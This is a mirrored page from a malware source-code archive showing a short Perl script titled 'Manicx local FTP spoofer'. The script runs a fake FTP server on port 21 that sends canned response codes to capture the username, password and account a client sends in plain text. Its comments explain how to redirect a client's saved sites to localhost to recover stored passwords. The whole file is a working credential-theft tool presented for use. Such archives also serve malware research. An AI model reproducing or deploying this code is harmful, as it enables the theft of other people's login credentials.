mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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73 lines
2.0 KiB
Plaintext
73 lines
2.0 KiB
Plaintext
# This is a simple tcp server that listens on port 21
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# unless another is specified.
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# The possible uses of this are;
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# Ftp has no encryption for passwords and they are
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# sent in plain text under the right conditions.
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# Most ftp programs have a text file called <program-name>.ini
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# which will store the info like site-name, user-name, encrypted
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# password and account-name. Instead of trying to decrypt the
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# password for each different application (ws_ftp etc)
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# do this.
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# Edit the <program-name>.ini
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# Wherever there is a site-name change it to 127.0.0.1
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# Start your this perl scipt
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# Open your ftp program and click connect
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# Most of this coding was already in the /perl/eg/ folder
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# you can find the orginal version there ..
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print "===========================\n";
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print " Manicx local FTP spoofer\n";
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print " www.infowar.co.uk/manicx/\n";
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print "===========================\n";
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($port) = @ARGV;
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$port = 21 unless $port; # Are port is 21 unless specified
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$AF_INET = 2;
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$SOCK_STREAM = 1;
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$sockaddr = 'S n a4 x8';
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($name, $aliases, $proto) = getprotobyname('tcp');
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if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port, 'tcp');}
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print "Port = $port\n";
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$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");
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select(NS); $| = 1; select(stdout);
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socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
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bind(S,$this) || die "bind: $!";
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listen(S,5) || die "connect: $!";
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select(S); $| = 1; select(stdout);
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print "Listening for connection..\n";
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($addr = accept(NS,S)) || die $!;
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print "Accept ok\n";
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($af,$port,$inetaddr) = unpack($sockaddr,$addr);
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@inetaddr = unpack('C4',$inetaddr);
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print NS "220\n"; # We are ok for login (send username)
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$user = <NS>;
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print $user;
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print NS "331\n"; # user ok send password
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$pass = <NS>;
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print $pass;
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print NS "331\n"; # password ok send account
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$acco = <NS>;
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print $acco;
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print NS "200\n"; # account ok send what you want.
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$resp = <NS>;
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print $resp;
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print NS "451\n"; # bye bye baby |